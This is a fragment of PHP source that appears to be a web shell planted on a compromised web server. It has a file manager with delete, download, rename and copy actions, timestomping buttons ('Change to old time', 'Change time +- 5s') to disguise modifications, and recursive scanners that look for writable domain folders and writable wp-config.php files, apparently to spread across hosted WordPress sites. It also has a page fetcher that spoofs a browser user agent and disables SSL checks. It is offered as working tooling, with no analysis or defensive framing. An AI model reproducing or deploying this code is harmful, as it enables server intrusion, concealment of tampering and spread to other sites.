"<td>".substr(sprintf('%o', fileperms($dir.DIRECTORY_SEPARATOR.$file)), -4)."</td>"; /* if (!function_exists('posix_getgrgid') || !function_exists('filegroup')) { echo "<td>???</td>"; }else{ echo "<td>".posix_getgrgid(filegroup($dir.DIRECTORY_SEPARATOR.$file))['name'].':'.posix_getpwuid(fileowner($dir.DIRECTORY_SEPARATOR.$file))['name']."</td>"; }*/ echo '<td>???</td>'; $time = filemtime($dir.DIRECTORY_SEPARATOR.$file); $min_old = round((time()-$time)/60); echo "<td>".date("Y-m-d H:i:s",$time).' 🕗 '.$min_old.' min'."</td>"; if($is_writable){ echo '<td>'.'<a href="'.$_SERVER['SCRIPT_NAME'].'?dir='.base64_encode($dir.DIRECTORY_SEPARATOR.$file).'&del" onclick="return confirmDelete(event)" title="Delete">❌</a> <a href="'.$_SERVER['SCRIPT_NAME'].'?dir='.base64_encode($dir.DIRECTORY_SEPARATOR.$file).'&changetime" title="Change to old time">🕗</a> <a href="'.$_SERVER['SCRIPT_NAME'].'?dir='.base64_encode($dir.DIRECTORY_SEPARATOR.$file).'&backup" title="BackUp">🗄️</a> <a href="'.$_SERVER['SCRIPT_NAME'].'?dir='.base64_encode($dir.DIRECTORY_SEPARATOR.$file).'&download" title="Download">⬇️</a> <form style="display: inline;" action="'.$_SERVER['SCRIPT_NAME'].'?dir='.base64_encode($dir).'" method="POST"><input type="text" name="new_name" value="'.$file.'"><input type="hidden" name="old_file" value="'.base64_encode($dir.DIRECTORY_SEPARATOR.$file).'"><button type="submit" name="action" value="rename">✏️</button></form> <a href="#" onclick="setCookie(\'file_copy\', \''.base64_encode($dir.DIRECTORY_SEPARATOR.$file).'\', 1); alert(\'Copy!\'); location.reload(); return false;" title="Copy">📚</a> <a href="'.$_SERVER['SCRIPT_NAME'].'?dir='.base64_encode($dir.DIRECTORY_SEPARATOR.$file).'&changerandomtime" title="Change time +- 5s">🕗</a>'.'</td>'; }else{ echo '<td></td>'; } echo "</tr>"; } echo '</tbody></table></body></html>'; exit(); } function searchFilesInFolder($folderPath, $searchText) { $resultFiles = array(); $dir = opendir($folderPath); if (!$dir) { return $resultFiles; } while (($file = readdir($dir)) !== false) { if ($file == '.' || $file == '..') { continue; } $filePath = $folderPath . DIRECTORY_SEPARATOR . $file; if (is_dir($filePath)) { $resultFiles = array_merge($resultFiles, searchFilesInFolder($filePath, $searchText)); } else { if (stripos($file, $searchText) !== false) { $resultFiles[] = array($filePath,'name'); } else { $fileContent = @file_get_contents($filePath); if ($fileContent !== false && stripos($fileContent, $searchText) !== false) { $resultFiles[] = array($filePath,'content'); } } } } closedir($dir); return $resultFiles; } function deleteDirectory($dirPath) { if (!is_dir($dirPath)) { return false; } $files = array_diff(scandir($dirPath), array('.', '..')); foreach ($files as $file) { $filePath = $dirPath . DIRECTORY_SEPARATOR . $file; if (is_dir($filePath)) { deleteDirectory($filePath); } else { unlink($filePath); } } return rmdir($dirPath); } function copyDirectory($source, $destination) { if (!is_dir($source)) { return false; } if (!is_dir($destination)) { mkdir($destination, 0777, true); // true для рекурсивного создания директорий } $dir = opendir($source); while (($file = readdir($dir)) !== false) { if ($file == '.' || $file == '..') { continue; } $srcPath = $source . DIRECTORY_SEPARATOR . $file; $dstPath = $destination . DIRECTORY_SEPARATOR . $file; if (is_dir($srcPath)) { copyDirectory($srcPath, $dstPath); } else { copy($srcPath, $dstPath); } } closedir($dir); return true; } function scanDirectory($dir, $deep, $currentDepth = 0) { if ($currentDepth >= $deep) { return array(); } $domains = array(); if (is_dir($dir)) { $files = @scandir($dir); if(is_array($files)){ foreach ($files as $file) { if ($file == '.' || $file == '..') { continue; } if($dir!=DIRECTORY_SEPARATOR){ $path = $dir.DIRECTORY_SEPARATOR.$file; }else{ $path = $dir.$file; } if (is_dir($path)) { if (is_writable($path) && isValidDomain($file)) { $domains[] = $file.'|'.$path; } $domains = array_merge($domains, scanDirectory($path, $deep, $currentDepth + 1)); } } } } return $domains; } function scanDirectoryConfig($dir, $deep, $currentDepth = 0) { if ($currentDepth >= $deep) { return array(); } $domains = array(); if (is_dir($dir)) { $files = @scandir($dir); if(is_array($files)){ $is_writable = false; foreach ($files as $file) { if ($file == '.' || $file == '..') { continue; } if($dir!=DIRECTORY_SEPARATOR){ $path = $dir.DIRECTORY_SEPARATOR.$file; }else{ $path = $dir.$file; } if(is_writable($path)){ $is_writable = true; break; } } foreach ($files as $file) { if ($file == '.' || $file == '..') { continue; } if($dir!=DIRECTORY_SEPARATOR){ $path = $dir.DIRECTORY_SEPARATOR.$file; }else{ $path = $dir.$file; } if (is_file($path)) { if ($is_writable && strtolower($file)=='wp-config.php') { $domains[] = $path.'|'.$file; } } if(is_dir($path)){ $domains = array_merge($domains, scanDirectoryConfig($path, $deep, $currentDepth + 1)); } } } } return $domains; } function isValidDomain($domain) { global $zone_domen; $pattern = '/^(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+(?:[a-z]{2,})$/i'; $explode = explode('.', $domain); $z = $explode[count($explode)-1]; if(!stristr($zone_domen,'|'.$z.'|')){ return false; } if(preg_match($pattern, $domain)){ return true; }else{ if(preg_match('/^xn\-/i',$domain) && strstr($domain,'.')){ return true; } } return false; } function get_page($url) { $content = ''; if (function_exists('curl_init')) { $content = get_page_curl($url); if(!empty($content)) return $content; } if (ini_get('allow_url_fopen') && function_exists('file_get_contents')) { $content = get_page_file_get_contents($url); if(!empty($content)) return $content; } if (function_exists('fopen')) { return get_page_fopen($url); } return false; } function get_page_curl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_SSLVERSION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36'); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Language: en-US,en;q=0.5')); $response = curl_exec($ch); $error = curl_error($ch); curl_close($ch); if ($error) { return false; } return $response; } function get_page_file_get_contents($url) { try { $response = file_get_contents($url); if ($response === false) { return false; } return $response; } catch (Exception $e) { return false; } } function get_page_fopen($url) { $context = stream_context_create(array( 'http' => array( 'method' => 'GET', 'header' => 'Accept: text/html\r\n', 'timeout' => 30 ) )); $handle = fopen($url, 'r', false, $context); if ($handle === false) { return false; } $response = stream_get_contents($handle); fclose($handle); return $response; } ?>